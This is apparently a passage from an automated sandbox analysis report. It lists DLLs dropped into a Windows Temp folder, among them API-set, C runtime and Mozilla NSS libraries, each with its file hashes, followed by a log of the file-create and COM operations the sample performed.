C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-errorhandling-l1-1-0.dll 17.80 KB MD5: 6d778e83f74a4c7fe4c077dc279f6867
SHA1: f5d9cf848f79a57f690da9841c209b4837c2e6c3
SHA256: a97dcca76cdb12e985dff71040815f28508c655ab2b073512e386dd63f4da325
SSDeep: 192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l1-1-0.dll 21.30 KB MD5: 94ae25c7a5497ca0be6882a00644ca64
SHA1: f7ac28bbc47e46485025a51eeb6c304b70cee215
SHA256: 7ea06b7050f9ea2bcc12af34374bdf1173646d4e5ebf66ad690b37f4df5f3d4e
SSDeep: 384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l1-2-0.dll 17.80 KB MD5: e2f648ae40d234a3892e1455b4dbbe05
SHA1: d9d750e828b629cfb7b402a3442947545d8d781b
SHA256: c8c499b012d0d63b7afc8b4ca42d6d996b2fcf2e8b5f94cacfbec9e6f33e8a03
SSDeep: 192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l2-1-0.dll 17.80 KB MD5: e479444bdd4ae4577fd32314a68f5d28
SHA1: 77edf9509a252e886d4da388bf9c9294d95498eb
SHA256: c85dc081b1964b77d289aac43cc64746e7b141d036f248a731601eb98f827719
SSDeep: 192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-handle-l1-1-0.dll 17.80 KB MD5: 6db54065b33861967b491dd1c8fd8595
SHA1: ed0938bbc0e2a863859aad64606b8fc4c69b810a
SHA256: 945cc64ee04b1964c1f9fcdc3124dd83973d332f5cfb696cdf128ca5c4cbd0e5
SSDeep: 384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-heap-l1-1-0.dll 17.80 KB MD5: 2ea3901d7b50bf6071ec8732371b821c
SHA1: e7be926f0f7d842271f7edc7a4989544f4477da7
SHA256: 44f6df4280c8ecc9c6e609b1a4bfee041332d337d84679cfe0d6678ce8f2998a
SSDeep: 192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-interlocked-l1-1-0.dll 17.44 KB MD5: d97a1cb141c6806f0101a5ed2673a63d
SHA1: d31a84c1499a9128a8f0efea4230fcfa6c9579be
SHA256: deccd75fc3fc2bb31338b6fe26deffbd7914c6cd6a907e76fd4931b7d141718c
SSDeep: 192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-libraryloader-l1-1-0.dll 18.30 KB MD5: d0873e21721d04e20b6ffb038accf2f1
SHA1: 9e39e505d80d67b347b19a349a1532746c1f7f88
SHA256: bb25ccf8694d1fcfce85a7159dcf6985fdb54728d29b021cb3d14242f65909ce
SSDeep: 384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-localization-l1-2-0.dll 20.30 KB MD5: eff11130bfe0d9c90c0026bf2fb219ae
SHA1: cf4c89a6e46090d3d8feeb9eb697aea8a26e4088
SHA256: 03ad57c24ff2cf895b5f533f0ecbd10266fd8634c6b9053cc9cb33b814ad5d97
SSDeep: 384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-memory-l1-1-0.dll 18.30 KB MD5: d500d9e24f33933956df0e26f087fd91
SHA1: 6c537678ab6cfd6f3ea0dc0f5abefd1c4924f0c0
SHA256: bb33a9e906a5863043753c44f6f8165afe4d5edb7e55efa4c7e6e1ed90778eca
SSDeep: 384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-namedpipe-l1-1-0.dll 17.80 KB MD5: 6f6796d1278670cce6e2d85199623e27
SHA1: 8aa2155c3d3d5aa23f56cd0bc507255fc953ccc3
SHA256: c4f60f911068ab6d7f578d449ba7b5b9969f08fc683fd0ce8e2705bbf061f507
SSDeep: 192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processenvironment-l1-1-0.dll 18.80 KB MD5: 5f73a814936c8e7e4a2dfd68876143c8
SHA1: d960016c4f553e461afb5b06b039a15d2e76135e
SHA256: 96898930ffb338da45497be019ae1adcd63c5851141169d3023e53ce4c7a483e
SSDeep: 192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processthreads-l1-1-0.dll 18.94 KB MD5: a2d7d7711f9c0e3e065b2929ff342666
SHA1: a17b1f36e73b82ef9bfb831058f187535a550eb8
SHA256: 9dab884071b1f7d7a167f9bec94ba2bee875e3365603fa29b31de286c6a97a1d
SSDeep: 384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processthreads-l1-1-1.dll 18.30 KB MD5: d0289835d97d103bad0dd7b9637538a1
SHA1: 8ceebe1e9abb0044808122557de8aab28ad14575
SHA256: 91eeb842973495deb98cef0377240d2f9c3d370ac4cf513fd215857e9f265a6a
SSDeep: 384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-profile-l1-1-0.dll 17.30 KB MD5: fee0926aa1bf00f2bec9da5db7b2de56
SHA1: f5a4eb3d8ac8fb68af716857629a43cd6be63473
SHA256: 8eb5270fa99069709c846db38be743a1a80a42aa1a88776131f79e1d07cc411c
SSDeep: 192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-rtlsupport-l1-1-0.dll 17.30 KB MD5: fdba0db0a1652d86cd471eaa509e56ea
SHA1: 3197cb45787d47bac80223e3e98851e48a122efa
SHA256: 2257fea1e71f7058439b3727ed68ef048bd91dcacd64762eb5c64a9d49df0b57
SSDeep: 384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-string-l1-1-0.dll 17.80 KB MD5: 12cc7d8017023ef04ebdd28ef9558305
SHA1: f859a66009d1caae88bf36b569b63e1fbdae9493
SHA256: 7670fdede524a485c13b11a7c878015e9b0d441b7d8eb15ca675ad6b9c9a7311
SSDeep: 384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-synch-l1-1-0.dll 19.80 KB MD5: 71af7ed2a72267aaad8564524903cff6
SHA1: 8a8437123de5a22ab843adc24a01ac06f48db0d3
SHA256: 5dd4ccd63e6ed07ca3987ab5634ca4207d69c47c2544dfefc41935617652820f
SSDeep: 384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-synch-l1-2-0.dll 18.30 KB MD5: 0d1aa99ed8069ba73cfd74b0fddc7b3a
SHA1: ba1f5384072df8af5743f81fd02c98773b5ed147
SHA256: 30d99ce1d732f6c9cf82671e1d9088aa94e720382066b79175e2d16778a3dad1
SSDeep: 384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-sysinfo-l1-1-0.dll 18.80 KB MD5: 19a40af040bd7add901aa967600259d9
SHA1: 05b6322979b0b67526ae5cd6e820596cbe7393e4
SHA256: 4b704b36e1672ae02e697efd1bf46f11b42d776550ba34a90cd189f6c5c61f92
SSDeep: 384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-timezone-l1-1-0.dll 17.80 KB MD5: babf80608fd68a09656871ec8597296c
SHA1: 33952578924b0376ca4ae6a10b8d4ed749d10688
SHA256: 24c9aa0b70e557a49dac159c825a013a71a190df5e7a837bfa047a06bba59eca
SSDeep: 384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-util-l1-1-0.dll 17.80 KB MD5: 0f079489abd2b16751ceb7447512a70d
SHA1: 679dd712ed1c46fbd9bc8615598da585d94d5d87
SHA256: f7d450a0f59151bcefb98d20fcae35f76029df57138002db5651d1b6a33adc86
SSDeep: 192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-conio-l1-1-0.dll 18.80 KB MD5: 6ea692f862bdeb446e649e4b2893e36f
SHA1: 84fceae03d28ff1907048acee7eae7e45baaf2bd
SHA256: 9ca21763c528584bdb4efebe914faaf792c9d7360677c87e93bd7ba7bb4367f2
SSDeep: 384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-convert-l1-1-0.dll 21.80 KB MD5: 72e28c902cd947f9a3425b19ac5a64bd
SHA1: 9b97f7a43d43cb0f1b87fc75fef7d9eeea11e6f7
SHA256: 3cc1377d495260c380e8d225e5ee889cbb2ed22e79862d4278cfa898e58e44d1
SSDeep: 384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-environment-l1-1-0.dll 18.30 KB MD5: ac290dad7cb4ca2d93516580452eda1c
SHA1: fa949453557d0049d723f9615e4f390010520eda
SHA256: c0d75d1887c32a1b1006b3cffc29df84a0d73c435cdcb404b6964be176a61382
SSDeep: 192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-filesystem-l1-1-0.dll 19.80 KB MD5: aec2268601470050e62cb8066dd41a59
SHA1: 363ed259905442c4e3b89901bfd8a43b96bf25e4
SHA256: 7633774effe7c0add6752ffe90104d633fc8262c87871d096c2fc07c20018ed2
SSDeep: 384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/ 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-heap-l1-1-0.dll 18.80 KB MD5: 93d3da06bf894f4fa21007bee06b5e7d
SHA1: 1e47230a7ebcfaf643087a1929a385e0d554ad15
SHA256: f5cf623ba14b017af4aec6c15eee446c647ab6d2a5dee9d6975adc69994a113d
SSDeep: 192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-locale-l1-1-0.dll 18.30 KB MD5: a2f2258c32e3ba9abf9e9e38ef7da8c9
SHA1: 116846ca871114b7c54148ab2d968f364da6142f
SHA256: 565a2eec5449eeeed68b430f2e9b92507f979174f9c9a71d0c36d58b96051c33
SSDeep: 192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-math-l1-1-0.dll 28.30 KB MD5: 8b0ba750e7b15300482ce6c961a932f0
SHA1: 71a2f5d76d23e48cef8f258eaad63e586cfc0e19
SHA256: bece7bab83a5d0ec5c35f0841cbbf413e01ac878550fbdb34816ed55185dcfed
SSDeep: 384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-multibyte-l1-1-0.dll 25.80 KB MD5: 35fc66bd813d0f126883e695664e7b83
SHA1: 2fd63c18cc5dc4defc7ea82f421050e668f68548
SHA256: 66abf3a1147751c95689f5bc6a259e55281ec3d06d3332dd0ba464effa716735
SSDeep: 384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-private-l1-1-0.dll 71.30 KB MD5: 9910a1bfdc41c5b39f6af37f0a22aacd
SHA1: 47fa76778556f34a5e7910c816c78835109e4050
SHA256: 65ded8d2ce159b2f5569f55b2caf0e2c90f3694bd88c89de790a15a49d8386b9
SSDeep: 1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-process-l1-1-0.dll 18.80 KB MD5: 8d02dd4c29bd490e672d271700511371
SHA1: f3035a756e2e963764912c6b432e74615ae07011
SHA256: c03124ba691b187917ba79078c66e12cbf5387a3741203070ba23980aa471e8b
SSDeep: 192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-runtime-l1-1-0.dll 22.30 KB MD5: 41a348f9bedc8681fb30fa78e45edb24
SHA1: 66e76c0574a549f293323dd6f863a8a5b54f3f9b
SHA256: c9bbc07a033bab6a828ecc30648b501121586f6f53346b1cd0649d7b648ea60b
SSDeep: 384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-stdio-l1-1-0.dll 23.80 KB MD5: fefb98394cb9ef4368da798deab00e21
SHA1: 316d86926b558c9f3f6133739c1a8477b9e60740
SHA256: b1e702b840aebe2e9244cd41512d158a43e6e9516cd2015a84eb962fa3ff0df7
SSDeep: 384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-string-l1-1-0.dll 22.94 KB MD5: 404604cd100a1e60dfdaf6ecf5ba14c0
SHA1: 58469835ab4b916927b3cabf54aee4f380ff6748
SHA256: 73cc56f20268bfb329ccd891822e2e70dd70fe21fc7101deb3fa30c34a08450c
SSDeep: 384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-time-l1-1-0.dll 20.30 KB MD5: 849f2c3ebf1fcba33d16153692d5810f
SHA1: 1f8eda52d31512ebfdd546be60990b95c8e28bfb
SHA256: 69885fd581641b4a680846f93c2dd21e5dd8e3ba37409783bc5b3160a919cb5d
SSDeep: 384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-utility-l1-1-0.dll 18.30 KB MD5: b52a0ca52c9c207874639b62b6082242
SHA1: 6fb845d6a82102ff74bd35f42a2844d8c450413b
SHA256: a1d1d6b0cb0a8421d7c0d1297c4c389c95514493cd0a386b49dc517ac1b9a2b0
SSDeep: 192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/freebl3.dll 324.95 KB MD5: 343aa83574577727aabe537dccfdeafc
SHA1: 9ce3b9a182429c0dba9821e2e72d3ab46f5d0a06
SHA256: 393ae7f06fe6cd19ea6d57a93dd0acd839ee39ba386cf1ca774c4c59a3bfebd8
SSDeep: 6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/mozglue.dll 135.95 KB MD5: 9e682f1eb98a9d41468fc3e50f907635
SHA1: 85e0ceca36f657ddf6547aa0744f0855a27527ee
SHA256: 830533bb569594ec2f7c07896b90225006b90a9af108f49d6fb6bebd02428b2d
SSDeep: 3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/msvcp140.dll 429.80 KB MD5: 109f0f02fd37c84bfc7508d4227d7ed5
SHA1: ef7420141bb15ac334d3964082361a460bfdb975
SHA256: 334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4
SSDeep: 12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/nssdbm3.dll 90.45 KB MD5: 569a7a65658a46f9412bdfa04f86e2b2
SHA1: 44cc0038e891ae73c43b61a71a46c97f98b1030d
SHA256: 541a293c450e609810279f121a5e9dfa4e924d52e8b0c6c543512b5026efe7ec
SSDeep: 1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/softokn3.dll 140.95 KB MD5: 67827db2380b5848166a411bae9f0632
SHA1: f68f1096c5a3f7b90824aa0f7b9da372228363ff
SHA256: 9a7f11c212d61856dfc494de111911b7a6d9d5e9795b0b70bbbc998896f068ae
SSDeep: 3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/nss3.dll 1.19 MB MD5: 556ea09421a0f74d31c4c0a89a70dc23
SHA1: f739ba9b548ee64b13eb434a3130406d23f836e3
SHA256: f0e6210d4a0d48c7908d8d1c270449c91eb4523e312a61256833bfeaf699abfb
SSDeep: 24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/vcruntime140.dll 81.82 KB MD5: 7587bf9cb4147022cd5681b015183046
SHA1: f2106306a8f6f0da5afb7fc765cfa0757ad5a628
SHA256: c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d
SSDeep: 1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF 		False
...
Host Behavior
COM (1)
»
Operation Class Interface Additional Information Success Count Logfile
Create 3C374A40-BAE4-11CF-BF7D-00AA006946EE 00000000-0000-0000-C000-000000000046 cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER True 1
Fn
File (636)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-console-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-datetime-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-debug-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-errorhandling-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l1-2-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l2-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-handle-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-heap-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-interlocked-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-libraryloader-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-localization-l1-2-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-memory-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-namedpipe-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processenvironment-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processthreads-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processthreads-l1-1-1.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-profile-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-rtlsupport-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-string-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-synch-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-synch-l1-2-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-sysinfo-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-timezone-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-util-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-conio-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-convert-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-environment-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-filesystem-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-heap-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-locale-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-math-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
